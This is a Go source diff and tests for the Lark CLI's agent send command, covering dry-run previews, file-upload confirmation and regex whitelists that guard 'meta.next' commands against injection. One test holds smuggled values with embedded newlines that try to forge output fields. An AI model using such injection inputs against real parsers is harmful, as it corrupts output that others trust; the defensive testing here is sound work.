GetTask: func(_ context.Context, _ iagent.Runtime, taskID string) (*iagent.AgentTask, error) {
if scripted.getTask == nil {
panic("scripted provider: GetTask hook not set")
}
return scripted.getTask(taskID)
},
ListTasks: func(_ context.Context, _ iagent.Runtime, contextID string) ([]iagent.TaskSummary, error) {
if scripted.listTasks == nil {
panic("scripted provider: ListTasks hook not set")
}
return scripted.listTasks(contextID)
},
ListContexts: func(_ context.Context, _ iagent.Runtime) ([]iagent.ContextSummary, error) {
if scripted.listContexts == nil {
panic("scripted provider: ListContexts hook not set")
}
return scripted.listContexts()
},
GetContext: func(_ context.Context, _ iagent.Runtime, ctxID string) (*iagent.ContextDetail, error) {
if scripted.getContext == nil {
panic("scripted provider: GetContext hook not set")
}
return scripted.getContext(ctxID)
},
DeleteContext: func(_ context.Context, _ iagent.Runtime, ctxID string) error {
if scripted.deleteContext == nil {
panic("scripted provider: DeleteContext hook not set")
}
return scripted.deleteContext(ctxID)
},
DownloadArtifact: func(_ context.Context, _ iagent.Runtime, taskID, artifactID string) (*iagent.ArtifactData, error) {
if scripted.downloadArtifact == nil {
panic("scripted provider: DownloadArtifact hook not set")
}
return scripted.downloadArtifact(taskID, artifactID)
},
}
}
// fakescopedAllScopes is the full RequiredScopes set of the fakescoped test
// provider, sorted — the all-or-nothing preflight requires every one for any
// real API verb.
var fakescopedAllScopes = []string{
"fakescoped:agent_artifact:read",
"fakescoped:agent_attachment:write",
"fakescoped:agent_chat:read",
"fakescoped:agent_chat:write",
}
// fakeflowAgentIDSource is the AgentIDSource text of the fakeflow provider —
// the non-enumerable `agent list <scheme>` error surfaces it as the hint.
const fakeflowAgentIDSource = "在 fakeflow 测试控制台获取 agent_id形如 agt_xxx"
// registerScripted registers the two scripted schemes exactly once (Register
// panics on duplicates). Both are instance-type (agent_id is arbitrary), and not
// enumerable (no ListAgents hook). They leak into the package-level registry for
// the rest of this package run — so no test may assert an exact provider set.
//
// - fakeflow: no RequiredScopes (preflight always passes) — the workhorse.
// - fakescoped: a 4-scope RequiredScopes set, for the scope-preflight tests.
var registerScriptedOnce sync.Once
func registerScripted() {
registerScriptedOnce.Do(func() {
iagent.Register(iagent.Provider{
Scheme: "fakeflow",
Label: "test fake (scripted flow)",
AgentIDSource: fakeflowAgentIDSource,
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
Instance: scriptedSpec(),
})
iagent.Register(iagent.Provider{
Scheme: "fakescoped",
Label: "test fake (scoped)",
AgentIDSource: "test only",
RequiredScopes: fakescopedAllScopes,
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
Instance: scriptedSpec(),
})
})
}

333
cmd/agent/send.go Normal file
View File

@@ -0,0 +1,333 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"fmt"
"regexp"
"time"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/output"
)
// sendOptions holds all inputs for `agent send <ref>`.
type sendOptions struct {
Factory *cmdutil.Factory
Cmd *cobra.Command
Ref string
Text string
Files []string
Params []string
ContextID string
TaskID string
DryRun bool
Yes bool
As string
Format string
}
// NewCmdAgentSend builds `agent send <agent_ref>`: send a message to a remote
// agent, starting a new task or continuing an existing one. `--dry-run`
// validates the inputs against the agent Card and prints the request preview
// without any API call (always available). A send fires and returns the
// current task immediately; poll progress with
// `agent task get <agent_ref> <task-id> --watch` (surfaced via meta.next).
// `--file` uploads local files to the remote agent — the content leaves this
// machine. Risk=write. runF, when non-nil, replaces the production run path
// (test seam).
func NewCmdAgentSend(f *cmdutil.Factory, runF func(*sendOptions) error) *cobra.Command {
opts := &sendOptions{Factory: f}
cmd := &cobra.Command{
Use: "send <agent_ref>",
Short: "Send a message to a remote agent (start a new task or continue an existing one)",
Long: "Send one message to the remote agent addressed by agent_ref. Without --context-id/--task-id it starts a new task; " +
"with --context-id (optionally --task-id) it continues the same multi-turn context (including replying to input_required/auth_required). " +
"--dry-run only validates locally and prints the request preview without calling the API. A send fires and returns the current task immediately; " +
"poll progress with agent task get <agent_ref> <task-id> --watch (see meta.next).",
Args: exactArgsWithUsage(1),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
if runF != nil {
return runF(opts)
}
return agentSendRun(opts)
},
}
cmd.Flags().StringVar(&opts.Text, "text", "", "消息正文(必填)")
cmd.Flags().StringArrayVar(&opts.Files, "file", nil, "随消息外发的本地文件路径,可重复;文件会被上传到远端 provider内容离开本机")
cmd.Flags().StringArrayVar(&opts.Params, "param", nil, "agent 参数 key=value可重复据 card 的 parameters 决定)")
cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "多轮上下文 id续发同一会话")
cmd.Flags().StringVar(&opts.TaskID, "task-id", "", "向已有任务续发(须与 --context-id 一起用)")
cmd.Flags().BoolVar(&opts.DryRun, "dry-run", false, "只做本地校验并打印请求预览,不调用 API")
cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认用 --file 把本地文件外发上传到远端(不加则 exit 10不上传")
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
if f != nil {
cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
} else {
// f is nil only in construction-time unit tests; register a bare --as so
// the flag surface is still assertable without a Factory.
cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
}
cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
return cmd
}
// agentSendRun validates the send inputs, resolves the provider, and either
// prints a dry-run preview or dispatches the message. The two client-side input
// guards (empty --text; --task-id without --context-id) run first so they never
// touch the network and hold even under a nil Factory. A send fires once
// and returns the current task immediately (exit 0); the caller polls progress
// via the meta.next `task get ... --watch` hint.
func agentSendRun(opts *sendOptions) error {
if opts.Text == "" {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "--text 不能为空").
WithParam("--text").
WithHint(`补充 --text "<消息内容>" 后重发`)
}
if opts.TaskID != "" && opts.ContextID == "" {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"--task-id 需与 --context-id 一起使用").
WithParam("--task-id").
WithHint("--task-id 必须与 --context-id 同时提供")
}
f := opts.Factory
// Resolution + --param validation + --dry-run are fully offline, so they work
// (and surface validation as exit 2) before the config gate. The card is
// built with rt=nil: capability matrix + statically-declared parameters only,
// which is all the file gate and --param validation need.
prov, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
card := iagent.BuildCard(opts.Cmd.Context(), prov, spec, agentID, nil)
params, err := parseAndValidateParams(opts.Params, card, opts.Ref)
if err != nil {
return err
}
in := iagent.SendInput{
Text: opts.Text,
Files: opts.Files,
Params: params,
ContextID: opts.ContextID,
TaskID: opts.TaskID,
}
// --dry-run is a client-side behavior: always available, never
// gated by the Card's dry_run capability, and never touches the API.
if opts.DryRun {
return emitDryRun(f, opts.Cmd, opts.Ref, in, opts.Format)
}
if len(in.Files) > 0 {
// An agent that does not declare file_input cannot take an upload, so
// --file against it is unsupported_capability — gated before any network
// access, so the user is not told "confirm the upload" for a send that
// would be rejected anyway.
if !card.Supports(iagent.CapFileInput) {
return capabilityError(opts.Ref, "send with --file", iagent.CapFileInput)
}
// --file exfiltrates local file content off this machine (the provider
// reads the file and uploads it to the remote agent). That is an
// irreversible, CLI-enforced high-risk write: a real send that would upload
// requires --yes, returning confirmation_required (exit 10) before any
// network access. dry-run above is exempt — it never uploads.
if !opts.Yes {
return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agent send --file",
"--file 会把本地文件外发上传到远端 agent内容离开本机不可撤回").
WithHint("确认要外发这些文件后,加 --yes 重发")
}
}
// A real send calls the API, so it needs a configured client; build the
// identity-pinned runtime now (not_configured / exit 3 here is correct).
rt, err := runtimeFor(f, id, agentID)
if err != nil {
return err
}
// Local scope preflight: after runtimeFor, before the API call. The check is
// all-or-nothing — any real API verb requires the provider's full scope set.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
task, err := spec.Send(opts.Cmd.Context(), rt, in)
if err != nil {
return err
}
normalizeTask(task)
// A send fires and returns the current task immediately (exit 0). Progress is
// polled separately via the meta.next `task get <agent_ref> <task-id> --watch`
// hint — send no longer blocks on the task reaching a stop condition.
return emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task), opts.Format)
}
// emitDryRun writes the dry-run preview: {dry_run:true, would_send:{…}}
// reconstructed from the validated input, so a caller can inspect exactly what
// a real send would post without contacting the agent. format=pretty (no --jq)
// renders the same fields as key: value lines instead of the envelope.
func emitDryRun(f *cmdutil.Factory, cmd *cobra.Command, ref string, in iagent.SendInput, format string) error {
if format == "pretty" && jqExpr(cmd) == "" {
out := f.IOStreams.Out
fmt.Fprintln(out, "dry_run: true")
fmt.Fprintf(out, "agent_ref: %s\n", kvValue(ref))
fmt.Fprintf(out, "text: %s\n", truncateRunes(kvValue(in.Text), 120))
if len(in.Files) > 0 {
fmt.Fprintf(out, "files: %d\n", len(in.Files))
}
if len(in.Params) > 0 {
fmt.Fprintf(out, "params: %d\n", len(in.Params))
}
if in.ContextID != "" {
fmt.Fprintf(out, "context_id: %s\n", kvValue(in.ContextID))
}
if in.TaskID != "" {
fmt.Fprintf(out, "task_id: %s\n", kvValue(in.TaskID))
}
return nil
}
would := map[string]interface{}{
"agent_ref": ref,
"text": in.Text,
}
if len(in.Files) > 0 {
would["files"] = in.Files
}
if len(in.Params) > 0 {
would["params"] = in.Params
}
if in.ContextID != "" {
would["context_id"] = in.ContextID
}
if in.TaskID != "" {
would["task_id"] = in.TaskID
}
env := output.Envelope{
OK: true,
Identity: string(f.ResolvedIdentity),
Data: map[string]interface{}{
"dry_run": true,
"would_send": would,
},
Notice: output.GetNotice(),
}
if jq := jqExpr(cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// nextIDPattern is the character whitelist for server-supplied identifiers
// (task_id / context_id) before they are interpolated into a meta.next command
// string: letters, digits, '_' and '-' only. It is deliberately stricter than
// validate.ResourceName — that check is a denylist aimed at URL-path safety and
// would pass shell metacharacters (spaces, ';', backticks, quotes), which are
// exactly what matters here: meta.next is defined as "AI executes this
// verbatim", so a server-controlled id is a command-injection surface.
var nextIDPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+$`)
// safeNextID reports whether s may be interpolated into a meta.next command.
func safeNextID(s string) bool {
return nextIDPattern.MatchString(s)
}
// nextRefPattern is the whitelist for a user-supplied ref before it is
// interpolated into a meta.next command or a hint command string: the
// safeNextID charset on both sides of exactly one ':' (the <scheme>:<agent_id>
// shape ParseRef accepts, further restricted to command-safe characters). A
// ref is not server-controlled — the threat model is not injection but
// copy-paste breakage (a ref with spaces/quotes yields a command that cannot
// be executed verbatim), so a failing ref simply drops the command hint.
var nextRefPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+:[A-Za-z0-9_-]+$`)
// safeNextRef reports whether ref may be interpolated into a meta.next / hint
// command string.
func safeNextRef(ref string) bool {
return nextRefPattern.MatchString(ref)
}
// nextForTask builds the meta.next[] hints for a send result: a terminal task
// suggests fetching its artifacts / detail, a still-running task the poll
// command, an input_required task the continue command, and an auth_required
// task the re-authorize flow (auth login, not a text continuation). AI callers use
// these to chain the next step without guessing the command shape, so every
// value interpolated here must pass its whitelist first: the ref (safeNextRef)
// and the task_id (safeNextID) each suppress the whole hint when they fail
// (prefer dropping the hint over risking injection); a failing context_id
// degrades to the <context_id> placeholder,
// which keeps the hint while interpolating nothing untrusted. A hint whose
// command carries <...> placeholders is marked Template so callers know it
// needs substitution before execution.
func nextForTask(ref string, task *iagent.AgentTask) []output.NextAction {
if !safeNextRef(ref) {
return nil
}
if task == nil || task.TaskID == "" || !safeNextID(task.TaskID) {
return nil
}
if task.State.ShouldStopPolling() {
if task.State == iagent.StateAuthRequired {
// auth_required is an agent-side task state — the end user must
// (re)authorize in the agent (see the SKILL state semantics), NOT a CLI scope error and
// NOT a text continuation like input_required. Point at the auth
// re-authorize flow instead of a text continuation. The concrete scopes are the
// agent's declared scope set (see the lark-agent skill's prerequisites), so --scope is a
// placeholder → Template. ref/task_id are already whitelisted above, so
// echoing the re-check command in the label is safe.
return []output.NextAction{{
Label: fmt.Sprintf("完成重新授权后重查任务(据该 agent 所需 scope 定;重查: lark-cli agent task get %s %s", ref, task.TaskID),
Command: `lark-cli auth login --scope "<required_scopes>"`,
Template: true,
}}
}
if task.State == iagent.StateInputRequired {
// A send that already needs input: point at the continue command
// against the same task/context. The --text value is
// always a placeholder, so this hint is a template — which is also why
// a missing or whitelist-failing context_id can degrade to the
// <context_id> placeholder instead of dropping the hint.
ctxID := task.ContextID
if ctxID == "" || !safeNextID(ctxID) {
ctxID = "<context_id>"
}
return []output.NextAction{{
Label: "补充输入后向同一任务续发",
Command: fmt.Sprintf("lark-cli agent send %s --context-id %s --task-id %s --text <你的答复>", ref, ctxID, task.TaskID),
Template: true,
}}
}
// Terminal: suggest reading the final detail / artifacts.
return []output.NextAction{{
Label: "查看任务详情与产物",
Command: fmt.Sprintf("lark-cli agent task get %s %s", ref, task.TaskID),
}}
}
return []output.NextAction{{
Label: "轮询任务直到停轮询条件(有界;到点未终止照此再 watch",
Command: fmt.Sprintf("lark-cli agent task get %s %s --watch --timeout %s", ref, task.TaskID, defaultWatchTimeout),
}}
}
// defaultWatchTimeout is the bounded poll window meta.next suggests for a
// still-running task: a safe default that avoids an unbounded --watch blocking
// forever on a long task and stops an AI caller from self-hammering. On expiry
// the poll returns the current state (exit 0) plus a fresh watch hint, so the
// caller re-watches in segments rather than blocking once. `--watch` used alone
// (--timeout 0) stays unbounded for backward compatibility.
const defaultWatchTimeout = 30 * time.Second

451
cmd/agent/send_test.go Normal file
View File

@@ -0,0 +1,451 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"context"
"encoding/json"
"errors"
"strings"
"testing"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// sendCmdCtx builds a `lark-cli agent send` leaf command whose CommandPath() is
// non-empty (required for content-safety scanning) and whose --as flag is
// explicitly set to bot so ResolveAs honors it verbatim.
func sendCmdCtx(t *testing.T) *cobra.Command {
t.Helper()
root := &cobra.Command{Use: "lark-cli"}
group := &cobra.Command{Use: "agent"}
leaf := &cobra.Command{Use: "send"}
root.AddCommand(group)
group.AddCommand(leaf)
leaf.Flags().String("as", "", "identity")
if err := leaf.Flags().Set("as", "bot"); err != nil {
t.Fatal(err)
}
leaf.SetContext(context.Background())
return leaf
}
// sendTestOpts wires a sendOptions against a real (test) Factory, addressing
// the scripted fakeflow agent agt_x under an explicit bot identity. The
// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
// test — everything under test here is command-layer behavior over the
// scripted provider.
func sendTestOpts(t *testing.T) *sendOptions {
t.Helper()
registerScripted()
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
return &sendOptions{
Factory: f,
Cmd: sendCmdCtx(t),
Ref: "fakeflow:agt_x",
As: "bot",
}
}
// TestSendRequiresText pins that an empty --text is a validation error
// (subtype invalid_argument) raised before any provider is built.
func TestSendRequiresText(t *testing.T) {
err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: ""})
if err == nil {
t.Fatal("missing --text should raise a validation error")
}
if !errs.IsValidation(err) {
t.Fatalf("want validation error, got %T", err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
// hint contract: a missing --text must carry a copy-pasteable remediation
// hint, and the param uses the -- prefix.
if !strings.Contains(p.Hint, "--text") {
t.Errorf("hint should guide adding --text, got %q", p.Hint)
}
var verr *errs.ValidationError
if !errors.As(err, &verr) || verr.Param != "--text" {
t.Errorf("param should be --text, got %+v", verr)
}
}
// TestSendTaskIDRequiresContextID pins that --task-id without --context-id is a
// validation error, raised before any provider is built.
func TestSendTaskIDRequiresContextID(t *testing.T) {
err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: "x", TaskID: "t1"})
if err == nil {
t.Fatal("--task-id without --context-id should error")
}
if !errs.IsValidation(err) {
t.Fatalf("want validation error, got %T", err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
// hint contract: state the next step clearly (--task-id must be provided
// together with --context-id).
if !strings.Contains(p.Hint, "--context-id") {
t.Errorf("hint should note it must be used with --context-id, got %q", p.Hint)
}
var verr *errs.ValidationError
if !errors.As(err, &verr) || verr.Param != "--task-id" {
t.Errorf("param should be --task-id, got %+v", verr)
}
}
// workingTask is the canonical non-terminal task the scripted Send returns for
// the happy-path tests.
func workingTask() *iagent.AgentTask {
return &iagent.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateWorking}
}
// TestSendPrettyFormat pins that `send --format pretty` renders the
// resulting task as key: value lines (previously the flag was registered but
// silently ignored).
func TestSendPrettyFormat(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "分析销售"
opts.Format = "pretty"
setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
return workingTask(), nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentSendRun(opts); err != nil {
t.Fatalf("send --format pretty should not error: %v", err)
}
text := string(out.Bytes())
for _, want := range []string{"state: working", "task_id: chat_1", "context_id: sess_1"} {
if !strings.Contains(text, want) {
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
}
}
var env output.Envelope
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
t.Errorf("pretty should not be a JSON envelope: %s", text)
}
}
// TestSendDryRunPrettyFormat pins that --dry-run also consumes --format pretty
// (key: value preview) instead of silently emitting JSON.
func TestSendDryRunPrettyFormat(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "分析销售"
opts.DryRun = true
opts.Format = "pretty"
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentSendRun(opts); err != nil {
t.Fatalf("dry-run pretty should not error: %v", err)
}
text := string(out.Bytes())
for _, want := range []string{"dry_run: true", "ref: fakeflow:agt_x", "text: 分析销售"} {
if !strings.Contains(text, want) {
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
}
}
var env output.Envelope
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
t.Errorf("pretty should not be a JSON envelope: %s", text)
}
}
// TestSendDryRunPrettyNeutralizesInjection pins F2: the dry-run pretty preview
// runs context_id/task_id through kvValue (like every other pretty face), so a
// value carrying a newline cannot forge an adjacent "key: value" field row.
func TestSendDryRunPrettyNeutralizesInjection(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "hi"
opts.DryRun = true
opts.Format = "pretty"
opts.ContextID = "ctx1\nstate: completed"
opts.TaskID = "task1\ndeleted: true"
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentSendRun(opts); err != nil {
t.Fatalf("dry-run pretty should not error: %v", err)
}
text := string(out.Bytes())
// The raw newline must not survive into a forged adjacent row.
if strings.Contains(text, "context_id: ctx1\nstate: completed") {
t.Errorf("context_id newline not neutralized, forged a field row:\n%s", text)
}
if strings.Contains(text, "task_id: task1\ndeleted: true") {
t.Errorf("task_id newline not neutralized, forged a field row:\n%s", text)
}
// kvValue collapses the newline to a space, keeping the value on one line.
if !strings.Contains(text, "context_id: ctx1 state: completed") {
t.Errorf("context_id should collapse to one line, got:\n%s", text)
}
if !strings.Contains(text, "task_id: task1 deleted: true") {
t.Errorf("task_id should collapse to one line, got:\n%s", text)
}
}
// TestSendNoParamsRequired pins card v2: the scripted card declares no
// parameters, so a send without any --param passes card validation — asserted
// via --dry-run so no provider Send fires. A malformed --param is still a
// validation error.
func TestSendNoParamsRequired(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "分析销售"
opts.Params = nil
opts.DryRun = true
if err := agentSendRun(opts); err != nil {
t.Fatalf("card has no required params, send without --param should pass validation: %v", err)
}
opts2 := sendTestOpts(t)
opts2.Text = "分析销售"
opts2.Params = []string{"noequals"} // a --param without '=' should still raise validation
opts2.DryRun = true
err := agentSendRun(opts2)
if err == nil {
t.Fatal("malformed --param should error")
}
if !errs.IsValidation(err) {
t.Fatalf("want validation error, got %T", err)
}
}
// TestSendUnknownParamRejected pins, against an empty-parameters card, that
// any --param key is unknown → invalid_argument with a hint pointing at
// `agent card`, raised before any provider Send (asserted via --dry-run with
// no send hook installed).
func TestSendUnknownParamRejected(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "分析销售"
opts.Params = []string{"app_id=app_1"}
opts.DryRun = true
err := agentSendRun(opts)
if err == nil {
t.Fatal("card did not declare app_id, --param app_id should error")
}
if !errs.IsValidation(err) {
t.Fatalf("want validation error, got %T", err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
if !strings.Contains(p.Hint, "agent card") {
t.Fatalf("hint should point to agent card, got %q", p.Hint)
}
}
// TestSendDryRun pins that --dry-run prints a would_send preview and never
// calls the provider (no send hook installed → a Send would panic).
func TestSendDryRun(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "分析销售"
opts.DryRun = true
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentSendRun(opts); err != nil {
t.Fatalf("dry-run should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("dry-run output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
if !env.OK {
t.Errorf("ok should be true: %+v", env)
}
data, ok := env.Data.(map[string]interface{})
if !ok {
t.Fatalf("data should be an object, got %T", env.Data)
}
if data["dry_run"] != true {
t.Errorf("data.dry_run should be true, got %v", data["dry_run"])
}
would, ok := data["would_send"].(map[string]interface{})
if !ok {
t.Fatalf("data.would_send should be an object, got %T", data["would_send"])
}
if would["text"] != "分析销售" {
t.Errorf("would_send.text should echo the text, got %v", would["text"])
}
}
// TestSendStartsTask pins the happy path: a single Send fires and returns the
// submitted / working task in a success envelope immediately (no polling), with
// a meta.next hint pointing at task get --watch.
func TestSendStartsTask(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "分析销售"
var gotText string
setScripted(t, scriptedHooks{send: func(in iagent.SendInput) (*iagent.AgentTask, error) {
gotText = in.Text
return workingTask(), nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentSendRun(opts); err != nil {
t.Fatalf("send should not error: %v", err)
}
if gotText != "分析销售" {
t.Errorf("provider should receive the original text, got %q", gotText)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
if data["task_id"] != "chat_1" {
t.Errorf("task_id should be chat_1, got %v", data["task_id"])
}
if data["state"] != string(iagent.StateWorking) {
t.Errorf("state should be working, got %v", data["state"])
}
// meta.next should suggest polling / continuing.
if !strings.Contains(string(out.Bytes()), `"next"`) {
t.Errorf("non-terminal should provide meta.next follow-up: %s", string(out.Bytes()))
}
}
// TestSendSendError surfaces a provider Send failure unchanged.
func TestSendSendError(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "x"
setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
}})
if err := agentSendRun(opts); err == nil {
t.Fatal("Send error should propagate")
}
}
// TestSendInvalidRef surfaces a malformed ref as a validation error after the
// text/task-id guards pass.
func TestSendInvalidRef(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
err := agentSendRun(&sendOptions{Ref: "no-colon", Text: "x", Cmd: sendCmdCtx(t), As: "bot", Factory: f})
if err == nil {
t.Fatal("malformed ref should error")
}
if !errs.IsValidation(err) {
t.Fatalf("want validation error, got %T", err)
}
}
// TestNewCmdAgentSend_WriteRiskAndArgs pins ExactArgs(1), write risk, and the
// presence of the send-specific flags.
func TestNewCmdAgentSend_WriteRiskAndArgs(t *testing.T) {
cmd := NewCmdAgentSend(nil, nil)
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskWrite {
t.Errorf("agent send should be marked write risk, got level=%q ok=%v", level, ok)
}
if err := cmd.Args(cmd, []string{}); err == nil {
t.Error("agent send missing ref should raise an args error (ExactArgs 1)")
}
if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
t.Errorf("agent send with a single ref should be valid: %v", err)
}
for _, name := range []string{"text", "file", "param", "context-id", "task-id", "dry-run", "as", "format", "jq"} {
if cmd.Flags().Lookup(name) == nil {
t.Errorf("agent send should have --%s flag", name)
}
}
if cmd.Flags().Lookup("wait") != nil {
t.Error("agent send --wait should be removed (polling goes through task get --watch)")
}
// The --file help must point out that files are sent off to the remote
// provider (file-egress requirement).
fileFlag := cmd.Flags().Lookup("file")
if fileFlag != nil && !strings.Contains(fileFlag.Usage, "外发") && !strings.Contains(fileFlag.Usage, "上传") {
t.Errorf("--file help should note files are sent out to the remote provider, got %q", fileFlag.Usage)
}
}
// TestNewCmdAgentSend_RunFOverride confirms the injected runF hook is used
// instead of the production path (construction-time seam).
func TestNewCmdAgentSend_RunFOverride(t *testing.T) {
called := false
var captured *sendOptions
cmd := NewCmdAgentSend(nil, func(opts *sendOptions) error {
called = true
captured = opts
return nil
})
cmd.SetArgs([]string{"example:agt_x", "--text", "hi"})
cmd.SetContext(context.Background())
if err := cmd.Execute(); err != nil {
t.Fatalf("execute should not error: %v", err)
}
if !called {
t.Fatal("runF should be called")
}
if captured.Ref != "example:agt_x" || captured.Text != "hi" {
t.Errorf("opts not populated correctly: %+v", captured)
}
}
// TestSend_FileRequiresYes pins the --file exfil confirmation gate: a real send
// carrying --file to a provider that supports file upload (the scripted card has
// file_input=true) requires --yes, so without it the command returns
// confirmation_required (exit 10) BEFORE reaching the provider — the unset send
// hook is a tripwire that would panic if the gate let the upload through.
func TestSend_FileRequiresYes(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "hi"
opts.Files = []string{"local.txt"} // no --yes
err := agentSendRun(opts)
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
t.Fatalf("send --file without --yes should be confirmation_required, got %+v (err=%v)", p, err)
}
if output.ExitCodeOf(err) != output.ExitConfirmationRequired {
t.Fatalf("exit should be %d, got %d", output.ExitConfirmationRequired, output.ExitCodeOf(err))
}
}
// TestSend_FileWithYesProceeds pins that --yes satisfies the --file gate: the
// send reaches the provider, which receives the file path.
func TestSend_FileWithYesProceeds(t *testing.T) {
opts := sendTestOpts(t)
sent := false
setScripted(t, scriptedHooks{send: func(in iagent.SendInput) (*iagent.AgentTask, error) {
sent = true
if len(in.Files) != 1 || in.Files[0] != "local.txt" {
t.Errorf("provider should receive the --file path, got %v", in.Files)
}
return &iagent.AgentTask{TaskID: "t1", State: iagent.StateCompleted, IsTerminal: true}, nil
}})
opts.Text = "hi"
opts.Files = []string{"local.txt"}
opts.Yes = true
if err := agentSendRun(opts); err != nil {
t.Fatalf("send --file --yes should proceed: %v", err)
}
if !sent {
t.Error("provider Send should be reached after --yes")
}
}
// TestSend_FileDryRunNotGated pins that --dry-run with --file is exempt from the
// gate (dry-run never uploads), so it needs no --yes and never reaches the
// provider (unset send hook stays a tripwire).
func TestSend_FileDryRunNotGated(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "hi"
opts.Files = []string{"local.txt"}
opts.DryRun = true // no --yes
if err := agentSendRun(opts); err != nil {
t.Fatalf("dry-run --file should not be gated: %v", err)
}
}

521
cmd/agent/task.go Normal file
View File

@@ -0,0 +1,521 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"context"
"fmt"
"io"
"net/http"
"sort"
"strings"
"time"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/validate"
"github.com/larksuite/cli/internal/vfs"
)
// maxArtifactBytes caps a single downloaded artifact to guard against an
// untrusted host streaming an unbounded body onto local disk.
const maxArtifactBytes = 256 << 20 // 256 MiB
// taskOptions holds all inputs for the `agent task get|list|cancel` leaves. A
// single struct backs all three so the shared fields (Factory, Cmd, Ref, As)
// are wired once; each RunE reads only the fields its verb needs.
type taskOptions struct {
Factory *cmdutil.Factory
Cmd *cobra.Command
Ref string
TaskID string
ContextID string
ArtifactID string
Output string
Force bool
Watch bool
Timeout time.Duration
As string
Format string
}
// resolveDownload is the DownloadArtifact seam: it resolves the provider
// addressed by opts under the effective identity, runs the local scope
// preflight, and fetches the artifact descriptor. Tests swap it to return
// inline bytes without a Factory / network.
